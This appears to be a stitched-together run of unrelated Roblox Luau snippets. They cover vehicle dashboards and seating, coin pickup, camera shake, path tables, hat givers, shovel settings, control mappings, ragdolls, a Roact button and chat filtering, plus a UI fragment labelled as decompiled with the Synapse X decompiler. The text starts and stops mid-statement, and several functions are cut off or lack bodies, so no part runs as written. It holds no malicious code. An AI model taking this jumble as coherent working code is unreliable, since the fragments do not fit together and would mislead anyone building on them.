carSeat.Parent.Body.Dash.Tac.G.Indicator.Visible = true script.Parent.HUB.Right.Visible = true else carSeat.Parent.Body.Dash.Tac.G.Indicator.Visible = false script.Parent.HUB.Right.Visible = false end end) for i,v in pairs(script.Parent:getChildren()) do if v:IsA('TextButton') then v.MouseButton1Click:connect(function() if carSeat.Windows:FindFirstChild(v.Name) then local v = carSeat.Windows:FindFirstChild(v.Name) if v.Value == true then handler:FireServer('updateWindows', v.Name, false) else handler:FireServer('updateWindows', v.Name, true) end end end) end end while wait() do if carSeat.Parent:FindFirstChild("Body") then carSeat.Parent.Body.Dash.DashSc.G.Modes.SpeedStats.Speed.Text = math.floor(carSeat.Velocity.magnitude*((10/12) * (60/88))) end end
--Horn Sound Code, Metrotren
m1=script.Parent.StartHorn m2=script.Parent.HornSound
-- Connect the UpdateLabel function to Core's Size property change
core:GetPropertyChangedSignal("Size"):Connect(UpdateLabel)
-- Table to keep track of collected coins
local collectedCoins = {} local function processCoinTouch(player, coin) -- Check if the coin has already been collected if collectedCoins[coin] == player then return -- Does nothing with the coin if it didnt respawn yet end collectedCoins[coin] = player --Sets the Player who collected the coin PlayerData.AdjustCoins(player, COIN_VALUE) Remotes.CollectCoin:FireClient(player, coin, COIN_REGEN_DELAY) wait(COIN_REGEN_DELAY) -- Remove the coin from the table of collected coins once it respawns collectedCoins[coin] = nil end
--[=[ @within ClientRemoteSignal @interface Connection .Disconnect () -> nil ]=]
function ClientRemoteSignal.new(re: RemoteEvent, inboundMiddleware: Types.ClientMiddleware?, outboudMiddleware: Types.ClientMiddleware?) local self = setmetatable({}, ClientRemoteSignal) self._re = re if outboudMiddleware and #outboudMiddleware > 0 then self._hasOutbound = true self._outbound = outboudMiddleware else self._hasOutbound = false end if inboundMiddleware and #inboundMiddleware > 0 then self._directConnect = false self._signal = Signal.new() self._reConn = self._re.OnClientEvent:Connect(function(...) local args = table.pack(...) for _,middlewareFunc in ipairs(inboundMiddleware) do local middlewareResult = table.pack(middlewareFunc(args)) if not middlewareResult[1] then return end args.n = #args end self._signal:Fire(table.unpack(args, 1, args.n)) end) else self._directConnect = true end return self end function ClientRemoteSignal:_processOutboundMiddleware(...: any) local args = table.pack(...) for _,middlewareFunc in ipairs(self._outbound) do local middlewareResult = table.pack(middlewareFunc(args)) if not middlewareResult[1] then return table.unpack(middlewareResult, 2, middlewareResult.n) end args.n = #args end return table.unpack(args, 1, args.n) end
-- Hide after we're done
overlay.Position = UDim2.new(10, 0, 0, 0) end local Camera=game.Workspace.CurrentCamera function RotCamera(RotX, RotY, SmoothRot, Duration) spawn(function() if SmoothRot then local TweenIndicator = nil local NewCode = math.random(-1e9, 1e9) if (not Camera:FindFirstChild("TweenCode")) then TweenIndicator = Instance.new("IntValue") TweenIndicator.Name = "TweenCode" TweenIndicator.Value = NewCode TweenIndicator.Parent = Camera else TweenIndicator = Camera.TweenCode TweenIndicator.Value = NewCode end local Step = math.min(1.5 / math.max(Duration, 0), 90) local X = 0 while true do local NewX = X + Step X = (NewX > 90 and 90 or NewX) if TweenIndicator.Value ~= NewCode then break end if Camera.CoordinateFrame.lookVector.y>0.985 then break end local CamRot = Camera.CoordinateFrame - Camera.CoordinateFrame.p local CamDist = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude local NewCamCF = CFrame.new(Camera.Focus.p) * CamRot * CFrame.Angles(RotX / (90 / Step), 0, 0) Camera.CoordinateFrame = CFrame.new(NewCamCF.p, NewCamCF.p + NewCamCF.lookVector) * CFrame.new(0, 0, CamDist) print(X) if X == 90 then break end game:GetService("RunService").RenderStepped:wait() end if TweenIndicator.Value == NewCode then TweenIndicator:Destroy() end else local CamRot = Camera.CoordinateFrame - Camera.CoordinateFrame.p local CamDist = (Camera.CoordinateFrame.p - Camera.Focus.p).magnitude local NewCamCF = CFrame.new(Camera.Focus.p) * CamRot * CFrame.Angles(RotX, RotY, 0) Camera.CoordinateFrame = CFrame.new(NewCamCF.p, NewCamCF.p + NewCamCF.lookVector) * CFrame.new(0, 0, CamDist) end end) end function RAND(Min, Max, Accuracy) local Inverse = 1 / (Accuracy or 1) return (math.random(Min * Inverse, Max * Inverse) / Inverse) end function ShakeCam() local CurrentRecoil = math.random(1,4) local RecoilX = math.rad(CurrentRecoil * RAND(1, 1.5, 0.1)) local RecoilY = math.rad(CurrentRecoil * RAND(-2, 2, 0.1)) RotCamera(RecoilX, RecoilY, true, 0.06) wait(.1) RotCamera(-RecoilX, -RecoilY, true, 0.06) end function healthGUIUpdate(health) damagedone=lastHealth-health if damagedone > 0 then if game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:FindFirstChild("Humanoid") and game.Players.LocalPlayer.Character.Humanoid:FindFirstChild("creator") then if game.Players.LocalPlayer.Character.Humanoid:FindFirstChild("creator").Value then if game.Players.LocalPlayer.Character.Humanoid:FindFirstChild("creator").Value.Character then if game.Players.LocalPlayer.Character.Humanoid:FindFirstChild("creator").Value.Character:FindFirstChild("Torso") then if game.Players.LocalPlayer.Character.Humanoid:FindFirstChild("creator").Value ~= game.Players.LocalPlayer then local vel = CFrame.new(game.Players.LocalPlayer.Character.Humanoid:FindFirstChild("creator").Value.Character.Torso.Position,game.Players.LocalPlayer.Character.Torso.Position).lookVector for i=1,10 do game.Players.LocalPlayer.Character.Torso.Velocity = vel * math.random(30,46) end end end end end end ShakeCam() end if humanoid.Health ~= humanoid.MaxHealth and damagedone>0 then delay(0,function() AnimateHurtOverlay() end) end lastHealth = health end function GetSurfaceNormal(part,point) local p = part.CFrame:toObjectSpace(CFrame.new(point)).p if (math.abs(p.X)>=part.Size.X/2-.1) then return (part.CFrame*Vector3.new(p.X/math.abs(p.X),0,0)-part.CFrame.p) elseif (math.abs(p.Y)>=part.Size.Y/2-.1) then return (part.CFrame*Vector3.new(0,p.Y/math.abs(p.Y),0)-part.CFrame.p) elseif (math.abs(p.Z)>=part.Size.Z/2-.1) then return (part.CFrame*Vector3.new(0,0,p.Z/math.abs(p.Z))-part.CFrame.p) end end function splatterBlood(origin,humanoid,dmg)
--WRITE YOUR ABILITIES HERE--
hum.WalkSpeed = 60
--Precalculated paths
local t,f,n=true,false,{} local r={ [58]={{56,57,58},t}, [49]={{56,30,41,39,35,34,32,31,29,28,44,45,49},t}, [16]={n,f}, [19]={{56,57,20,19},t}, [59]={{56,30,41,59},t}, [63]={{56,57,20,63},t}, [34]={{56,30,41,39,35,34},t}, [21]={{56,57,20,21},t}, [48]={{56,30,41,39,35,34,32,31,29,28,44,45,49,48},t}, [27]={{56,30,41,39,35,34,32,31,29,28,27},t}, [14]={n,f}, [31]={{56,30,41,39,35,34,32,31},t}, [56]={{56},t}, [29]={{56,30,41,39,35,34,32,31,29},t}, [13]={n,f}, [47]={{56,30,41,39,35,34,32,31,29,28,44,45,49,48,47},t}, [12]={n,f}, [45]={{56,30,41,39,35,34,32,31,29,28,44,45},t}, [57]={{56,57},t}, [36]={{56,30,41,39,35,37,36},t}, [25]={{56,30,41,39,35,34,32,31,29,28,27,26,25},t}, [71]={{56,30,41,59,61,71},t}, [20]={{56,57,20},t}, [60]={{56,30,41,60},t}, [8]={n,f}, [4]={n,f}, [75]={{56,30,41,59,61,71,72,76,73,75},t}, [22]={{56,57,20,21,22},t}, [74]={{56,30,41,59,61,71,72,76,73,74},t}, [62]={{56,57,20,62},t}, [1]={n,f}, [6]={n,f}, [11]={n,f}, [15]={n,f}, [37]={{56,30,41,39,35,37},t}, [2]={n,f}, [35]={{56,30,41,39,35},t}, [53]={{56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t}, [73]={{56,30,41,59,61,71,72,76,73},t}, [72]={{56,30,41,59,61,71,72},t}, [33]={{56,30,41,39,35,37,36,33},t}, [69]={{56,30,41,60,69},t}, [65]={{56,57,20,19,66,64,65},t}, [26]={{56,30,41,39,35,34,32,31,29,28,27,26},t}, [68]={{56,57,20,19,66,64,67,68},t}, [76]={{56,30,41,59,61,71,72,76},t}, [50]={{56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t}, [66]={{56,57,20,19,66},t}, [10]={n,f}, [24]={{56,30,41,39,35,34,32,31,29,28,27,26,25,24},t}, [23]={{56,57,58,23},t}, [44]={{56,30,41,39,35,34,32,31,29,28,44},t}, [39]={{56,30,41,39},t}, [32]={{56,30,41,39,35,34,32},t}, [3]={n,f}, [30]={{56,30},t}, [51]={{56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t}, [18]={n,f}, [67]={{56,57,20,19,66,64,67},t}, [61]={{56,30,41,59,61},t}, [55]={{56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t}, [46]={{56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t}, [42]={{56,30,41,39,40,38,42},t}, [40]={{56,30,41,39,40},t}, [52]={{56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t}, [54]={{56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t}, [43]={n,f}, [7]={n,f}, [9]={n,f}, [41]={{56,30,41},t}, [17]={n,f}, [38]={{56,30,41,39,40,38},t}, [28]={{56,30,41,39,35,34,32,31,29,28},t}, [5]={n,f}, [64]={{56,57,20,19,66,64},t}, } return r
-- (Hat Giver Script - Loaded.)
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "BlueFabrege" p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(2, 1, 1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, -1.125, 0) wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
--tables --functions --main
for i,v in pairs(tiles) do --go throught all tiles if v.Name == "tile" then --if name is tile then continue local tile = v --selected tile tile.Touched:Connect(function() --when tile is being touched tile:WaitForChild("circle").Transparency = 0 --shows the circle wait(2) tile:WaitForChild("circle").Transparency = 1 --hide the circle end) end end
-- If you want to know how to retexture a hat, read this: http://www.roblox.com/Forum/ShowPost.aspx?PostID=10502388
debounce = true function onTouched(hit) if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then debounce = false h = Instance.new("Hat") p = Instance.new("Part") h.Name = "Hat" -- It doesn't make a difference, but if you want to make your place in Explorer neater, change this to the name of your hat. p.Parent = h p.Position = hit.Parent:findFirstChild("Head").Position p.Name = "Handle" p.formFactor = 0 p.Size = Vector3.new(-0,-0,-1) p.BottomSurface = 0 p.TopSurface = 0 p.Locked = true script.Parent.Mesh:clone().Parent = p h.Parent = hit.Parent h.AttachmentPos = Vector3.new(0, -0.45, -0.03) -- Change these to change the positiones of your hat, as I said earlier. wait(5) debounce = true end end script.Parent.Touched:connect(onTouched)
-- Shovel - Settings @ JDLENL 3/22/20 -- If you use this in your game, consider mentioning me in the description! I'd appreciate it.
return { ReachDistance = 5; -- how far away the shovel can dig DigSize = 4; -- radius of terrain ball dug out PlaceSize = 3; -- radius of terrain ball placed AllowPlacement = true; -- allow you to press E to fill terrain ConsumeSoil = true; -- if you allow placement, keeps track of the soil you've dug to determine what you can place SoilMaterial = Enum.Material.Ground; -- the material of the soil to fill if you allow placement Cooldown = .5; -- tool cooldown in seconds PlacementCooldown = 5; -- soil placement cooldown in seconds SoilGained = 1; -- amount of soil gained when you dig SoilUsed = 2; -- amount of soil to consume to place GuiEnabled = true; -- toggle whether to show a gui with how much soil you have AllowDamage = false; -- can the shovel be used as a melee weapon? Damage = 9; -- if so, how much damage it does per hit HitCooldown = 3; -- damage cooldown in seconds -- you can ignore this one, unless you want to pre-load the shovel with soil Soil = 0; -- keeps track of soil if you enable soil consumption -- this can automatically check if you have my Death Message system installed and display a custom death message DeathMessagesEnabled = game.ServerScriptService:FindFirstChild("DeathMessages") ~= nil; DeathMessageFlag = "ShoveledToDeath"; -- CAUTION: this is only for specific games which have a Hunger value inside the Player. DON'T TURN ON IF YOU DON'T USE THAT. Hunger = false; DigHunger = 5; PlaceHunger = 4; }
-- This module is a class with a new() constructor function
local EffectsInstance = Effects.new(ChassisModel, EffectsFolder, TopModel) VehicleSeating.SetRemotesFolder(RemotesFolder) VehicleSeating.SetBindableEventsFolder(BindableEventsFolder) local CharacterRemovingConnection = nil local DriverSeat = Chassis.GetDriverSeat() local AdditionalSeats = Chassis.GetPassengerSeats() local LEG_PARTS_TO_REMOVE = {"RightFoot", "RightLowerLeg", "LeftFoot", "LeftLowerLeg"} local ATTACHMENTS_TO_REMOVE = {"BodyBackAttachment", "WaistBackAttachment", "HatAttachment"} local function setHatsAndLegsTransparency(obj, transparency) if obj:IsA("Humanoid") then obj = obj.Parent elseif obj:IsA("Player") then obj = obj.Character end for _, child in ipairs(obj:GetChildren()) do if child:IsA("Accoutrement") then local handle = child:FindFirstChild("Handle") if handle then local shouldRemove = false for _, attachmentName in ipairs(ATTACHMENTS_TO_REMOVE) do if handle:FindFirstChild(attachmentName) then shouldRemove = true end end if shouldRemove then handle.Transparency = transparency end end end end for _, legName in ipairs(LEG_PARTS_TO_REMOVE) do local legPart = obj:FindFirstChild(legName) if legPart then legPart.Transparency = transparency end end end local function onExitSeat(obj, seat) if obj:IsA("Player") then RemotesFolder.ExitSeat:FireClient(obj, false) local playerGui = obj:FindFirstChildOfClass("PlayerGui") if playerGui then local scriptContainer = playerGui:FindFirstChild(UniqueName .. "_ClientControls") if scriptContainer then scriptContainer:Destroy() end end end setHatsAndLegsTransparency(obj, 0) if obj:IsA("Humanoid") then obj.Sit = false end if CharacterRemovingConnection then CharacterRemovingConnection:Disconnect() CharacterRemovingConnection = nil end if seat == DriverSeat then DriverSeat:SetNetworkOwnershipAuto() Chassis.Reset() EffectsInstance:Disable() end end local function onEnterSeat(obj, seat) if seat and seat.Occupant then local ShouldTakeOffHats = true local prop = TopModel:GetAttribute("TakeOffAccessories") if prop ~= nil then ShouldTakeOffHats = prop end if ShouldTakeOffHats then setHatsAndLegsTransparency(seat.Occupant, 1) end end if not obj:IsA("Player") then return end local playerGui = obj:FindFirstChildOfClass("PlayerGui") if playerGui then local screenGui = Instance.new("ScreenGui") screenGui.Name = UniqueName .. "_ClientControls" screenGui.ResetOnSpawn = true screenGui.Parent = playerGui CharacterRemovingConnection = obj.CharacterRemoving:Connect(function() onExitSeat(obj) end) local localGuiModule = LocalGuiModulePrototype:Clone() localGuiModule.Parent = screenGui if seat == DriverSeat then local driverScript = DriverScriptPrototype:Clone() driverScript.CarValue.Value = TopModel driverScript.Parent = screenGui driverScript.Disabled = false DriverSeat:SetNetworkOwner(obj) EffectsInstance:Enable() else local passengerScript = PassengerScriptPrototype:Clone() passengerScript.CarValue.Value = TopModel passengerScript.Parent = screenGui passengerScript.Disabled = false end local scriptsReference = Instance.new("ObjectValue") scriptsReference.Name = "ScriptsReference" scriptsReference.Value = Scripts scriptsReference.Parent = screenGui end end
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.K , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.LeftControl , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--[[ BaseCharacterController - Abstract base class for character controllers, not intended to be directly instantiated. 2018 PlayerScripts Update - AllYourBlox --]]
wait(999999999999999999999) local ZERO_VECTOR3 = Vector3.new(0,0,0)
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 5 -- cooldown for use of the tool again BoneModelName = "Omega Souls thunder" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over. GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly. GUI:Clone().Parent = player.PlayerGui --// Compact version script.Parent.Parent.Body.Lights.RunL.Material = "Neon" script.Parent.Parent.Body.Lights.RunR.Material = "Neon" script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Deep orange") script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Deep orange") script.Parent.Parent.Body.Dash.Screen.G.Enabled = true script.Parent.Parent.Body.Dash.DashSc.G.Enabled = true end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then game.Workspace.CurrentCamera.FieldOfView = 70 player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("SS3") then player.PlayerGui:FindFirstChild("SS3"):Destroy() script.Parent.Parent.Body.Lights.RunL.Material = "SmoothPlastic" script.Parent.Parent.Body.Lights.RunR.Material = "SmoothPlastic" script.Parent.Parent.Body.Lights.RunL.BrickColor = BrickColor.new("Pearl") script.Parent.Parent.Body.Lights.RunR.BrickColor = BrickColor.new("Pearl") script.Parent.Parent.Body.Dash.Screen.G.Enabled = false script.Parent.Parent.Body.Dash.DashSc.G.Enabled = false end end end end)
-- Variables
local keepRagdollAfterRespawn = getSetting("Keep ragdoll after respawn") or false -- Whether to keep the ragdoll after a player respawns game:GetService("Players").PlayerAdded:Connect(function (plr) plr.CharacterAdded:Connect(function (char) local humanoid = char:WaitForChild("Humanoid") humanoid.Died:Connect(function () if char:FindFirstChild("HumanoidRootPart") then local rig = humanoid.RigType local root = char.HumanoidRootPart humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None humanoid.HealthDisplayType = Enum.HumanoidHealthDisplayType.AlwaysOff root.Anchored = true root.CanCollide = false if rig == Enum.HumanoidRigType.R6 then local function stick (cl, p0, p1, c0, c1, p) local a = Instance.new(cl) a.Part0 = p0 a.Part1 = p1 a.C0 = c0 a.C1 = c1 a.Parent = p end local function createLimb (p, char) local limb = Instance.new("Part", char) limb.formFactor = "Symmetric" limb.Size = Vector3.new(1, 1, 1) limb.Transparency = 1 limb.CFrame = p.CFrame * CFrame.new(0, -0.5, 0) local W = Instance.new("Weld") W.Part0 = p W.Part1 = limb W.C0 = CFrame.new(0, -.5, 0) W.Parent = p end char.Archivable = true local charClone = char:Clone() charClone.Name = plr.Name .. "-2" char.Archivable = false for _,v in pairs(charClone:GetChildren()) do if v:IsA("BasePart") then for _,vv in pairs(v:GetChildren()) do if vv:IsA("Weld") or vv:IsA("Motor6D") then vv:Destroy() end end elseif v:IsA("Script") or v:IsA("LocalScript") or v:IsA("Tool") then v:Destroy() end end local hum2 = charClone.Humanoid hum2.Name = "Humanoid2" hum2.HealthDisplayType = Enum.HumanoidHealthDisplayType.AlwaysOff wait(.1) for _,v in pairs(char:GetChildren()) do if v:IsA("BasePart") or v:IsA("Accoutrement") or v:IsA("Script") or v:IsA("LocalScript") then v:Destroy() end end char = charClone local torso = char.Torso for _,p in pairs(char:GetChildren()) do if p:IsA("BasePart") then if p.Name == "Head" then stick("Weld", torso, char.Head, CFrame.new(0, 1.5, 0), CFrame.new(), torso) elseif p.Name == "Torso" then local Bar = Instance.new("Part") Bar.TopSurface = 0 Bar.BottomSurface = 0 Bar.formFactor = "Symmetric" Bar.Size = Vector3.new(1, 1, 1) Bar.Transparency = 1 Bar.CFrame = p.CFrame * CFrame.new(0, .5, 0) Bar.Parent = char local Weld = Instance.new("Weld") Weld.Part0 = p Weld.Part1 = Bar Weld.C0 = CFrame.new(0, .5, 0) Weld.Parent = p elseif p.Name == "Right Arm" then p.CFrame = torso.CFrame * CFrame.new(1.5, 0, 0) stick("Glue", torso, p, CFrame.new(1.5, .5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), CFrame.new(-0, .5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), torso) createLimb(p, char) elseif p.Name == "Left Arm" then p.CFrame = torso.CFrame * CFrame.new(-1.5, 0, 0) stick("Glue", torso, p, CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), torso) createLimb(p, char) elseif p.Name == "Right Leg" then p.CFrame = torso.CFrame * CFrame.new(.5, -2, 0) stick("Glue", torso, p, CFrame.new(.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0), torso) createLimb(p, char) elseif p.Name == "Left Leg" then p.CFrame = torso.CFrame * CFrame.new(-.5, -2, 0) stick("Glue", torso, p, CFrame.new(-.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0), torso) createLimb(p, char) end elseif p:IsA("Accoutrement") and p.Handle then stick("Weld", torso, char.Head, CFrame.new(0, 1.5, 0), CFrame.new(), char.Head) end end char.Parent = workspace if not keepRagdollAfterRespawn then game:GetService("Debris"):AddItem(char, 6) end else local function recurse (root, callback, i) for _,c in pairs(root:GetChildren()) do i = i + 1 callback(i, c) if #c:GetChildren() > 0 then i = recurse(c, callback, i) end end return i end local function ragdollJoint (p0, p1, att, class, properties) att = att .. "RigAttachment" local constraint = Instance.new(class .. "Constraint") constraint.Attachment0 = p0:FindFirstChild(att) constraint.Attachment1 = p1:FindFirstChild(att) constraint.Name = "RagdollConstraint" .. p1.Name for _,pData in pairs(properties or {}) do constraint[pData[1]] = pData[2] end constraint.Parent = char end local function getAttachment0 (attName) for _,c in pairs(char:GetChildren()) do if c:FindFirstChild(attName) then return c:FindFirstChild(attName) end end end recurse(char, function(_, v) if v:IsA("Attachment") then v.Axis = Vector3.new(1, 0, 0) v.SecondaryAxis = Vector3.new(0, 1, 0) v.Orientation = Vector3.new(0, 0, 0) end end, 0) for _,c in pairs(char:GetChildren()) do if c:IsA("Accoutrement") then for _,part in pairs(c:GetChildren()) do if part:IsA("BasePart") then local attachment1 = part:FindFirstChildOfClass("Attachment") local attachment0 = getAttachment0(attachment1.Name) if attachment0 and attachment1 then local constraint = Instance.new("HingeConstraint") constraint.Attachment0 = attachment0 constraint.Attachment1 = attachment1 constraint.LimitsEnabled = true constraint.UpperAngle = 0 constraint.LowerAngle = 0 constraint.Parent = char end end end end end if rig == Enum.HumanoidRigType.R6 then ragdollJoint(char.Torso, char.Head, "Neck", "BallSocket", { {"LimitsEnabled", true}; {"UpperAngle", 0}; }) ragdollJoint(char.Torso, char["Left Arm"], "LeftShoulder", "BallSocket") ragdollJoint(char.Torso, char["Right Arm"], "RightShoulder", "BallSocket") ragdollJoint(char.Torso, char["Left Leg"], "LeftTrunk", "BallSocket") ragdollJoint(char.Torso, char["Right Leg"], "RightTrunk", "BallSocket") elseif rig == Enum.HumanoidRigType.R15 then ragdollJoint(char.LowerTorso, char.UpperTorso, "Waist", "BallSocket", { {"LimitsEnabled", true}; {"UpperAngle", 5}; }) ragdollJoint(char.UpperTorso, char.Head, "Neck", "BallSocket", { {"LimitsEnabled", true}; {"UpperAngle", 15}; }) local handProperties = { {"LimitsEnabled", true}; {"UpperAngle", 0}; {"LowerAngle", 0}; } ragdollJoint(char.LeftLowerArm, char.LeftHand, "LeftWrist", "Hinge", handProperties) ragdollJoint(char.RightLowerArm, char.RightHand, "RightWrist", "Hinge", handProperties) local shinProperties = { {"LimitsEnabled", true}; {"UpperAngle", 0}; {"LowerAngle", -75}; } ragdollJoint(char.LeftUpperLeg, char.LeftLowerLeg, "LeftKnee", "Hinge", shinProperties) ragdollJoint(char.RightUpperLeg, char.RightLowerLeg, "RightKnee", "Hinge", shinProperties) local footProperties = { {"LimitsEnabled", true}; {"UpperAngle", 15}; {"LowerAngle", -45}; } ragdollJoint(char.LeftLowerLeg, char.LeftFoot, "LeftAnkle", "Hinge", footProperties) ragdollJoint(char.RightLowerLeg, char.RightFoot, "RightAnkle", "Hinge", footProperties) ragdollJoint(char.UpperTorso, char.LeftUpperArm, "LeftShoulder", "BallSocket") ragdollJoint(char.LeftUpperArm, char.LeftLowerArm, "LeftElbow", "BallSocket") ragdollJoint(char.UpperTorso, char.RightUpperArm, "RightShoulder", "BallSocket") ragdollJoint(char.RightUpperArm, char.RightLowerArm, "RightElbow", "BallSocket") ragdollJoint(char.LowerTorso, char.LeftUpperLeg, "LeftHip", "BallSocket") ragdollJoint(char.LowerTorso, char.RightUpperLeg, "RightHip", "BallSocket") end char.Parent = workspace if not keepRagdollAfterRespawn then game:GetService("Debris"):AddItem(char, 6) end end end end) end) end)
-- Create component
local SelectionButton = Roact.PureComponent:extend(script.Name) function SelectionButton:init() self:setState({ IsHovering = false; }) end function SelectionButton:render() return new('ImageButton', { BackgroundTransparency = 1; Image = self.props.IconAssetId; LayoutOrder = self.props.LayoutOrder; ImageTransparency = self.props.IsActive and 0 or 0.5; [Roact.Event.Activated] = self.props.OnActivated; [Roact.Event.InputBegan] = function (rbx, Input) if Input.UserInputType.Name == 'MouseMovement' then self:setState({ IsHovering = true; }) end end; [Roact.Event.InputEnded] = function (rbx, Input) if Input.UserInputType.Name == 'MouseMovement' then self:setState({ IsHovering = false; }) end end; }, { Tooltip = new(Tooltip, { IsVisible = self.state.IsHovering; Text = self.props.TooltipText or ''; }) }); end return SelectionButton
--[[ Model for the MarketplaceFee (e.g. Hat). { taxRate = number, minimumFee = number, } ]]
local MarketplaceFeeInfo = {} function MarketplaceFeeInfo.mock() local self = {} self.taxRate = 0.3 self.minimumFee = 1 return self end function MarketplaceFeeInfo.fromGetResaleTaxRate(newData) local MarketplaceFeeInfo = {} MarketplaceFeeInfo.taxRate = newData.taxRate MarketplaceFeeInfo.minimumFee = newData.minimumFee return MarketplaceFeeInfo end return MarketplaceFeeInfo
--// This method is to be used with the new filter API. This method takes the --// TextFilterResult objects and converts them into the appropriate string --// messages for each player.
function methods:InternalSendFilteredMessageWithFilterResult(inMessageObj, channelName) local messageObj = ShallowCopy(inMessageObj) local oldFilterResult = messageObj.FilterResult local player = self:GetPlayer() local msg = "" pcall(function() if (messageObj.IsFilterResult) then if (player) then msg = oldFilterResult:GetChatForUserAsync(player.UserId) else msg = oldFilterResult:GetNonChatStringForBroadcastAsync() end else msg = oldFilterResult end end) --// Messages of 0 length are the result of two users not being allowed --// to chat, or GetChatForUserAsync() failing. In both of these situations, --// messages with length of 0 should not be sent. if (#msg > 0) then messageObj.Message = msg messageObj.FilterResult = nil self:InternalSendFilteredMessage(messageObj, channelName) end end function methods:InternalSendSystemMessage(messageObj, channelName) local success, err = pcall(function() self.eReceivedSystemMessage:Fire(messageObj, channelName) end) if not success and err then print("Error sending internal system message: " ..err) end end function methods:UpdateChannelNameColor(channelName, channelNameColor) self.eChannelNameColorUpdated:Fire(channelName, channelNameColor) end
-- Decompiled with the Synapse X Luau decompiler.
local u1 = require(game:GetService("ReplicatedStorage").Packages.Fusion); return function(p1) local v1 = { Name = "Button", Size = UDim2.fromScale(1, 1), BackgroundTransparency = 1 }; local l__GuiButtonState__2 = p1.GuiButtonState; v1[u1.OnEvent("InputBegan")] = function(p2) if p2.UserInputType == Enum.UserInputType.MouseMovement and p2.UserInputState == Enum.UserInputState.Change then l__GuiButtonState__2:set("Hovering"); end; if p2.UserInputType == Enum.UserInputType.MouseButton1 and p2.UserInputState == Enum.UserInputState.Begin then l__GuiButtonState__2:set("Pressing"); end; if p2.UserInputType == Enum.UserInputType.Touch and p2.UserInputState == Enum.UserInputState.Begin then l__GuiButtonState__2:set("Pressing"); end; end; v1[u1.OnEvent("InputEnded")] = function(p3) if p3.UserInputType == Enum.UserInputType.MouseMovement and p3.UserInputState == Enum.UserInputState.Change then l__GuiButtonState__2:set("None"); end; if p3.UserInputType == Enum.UserInputType.MouseButton1 and p3.UserInputState == Enum.UserInputState.End and l__GuiButtonState__2:get() == "Pressing" then l__GuiButtonState__2:set("Hovering"); end; if 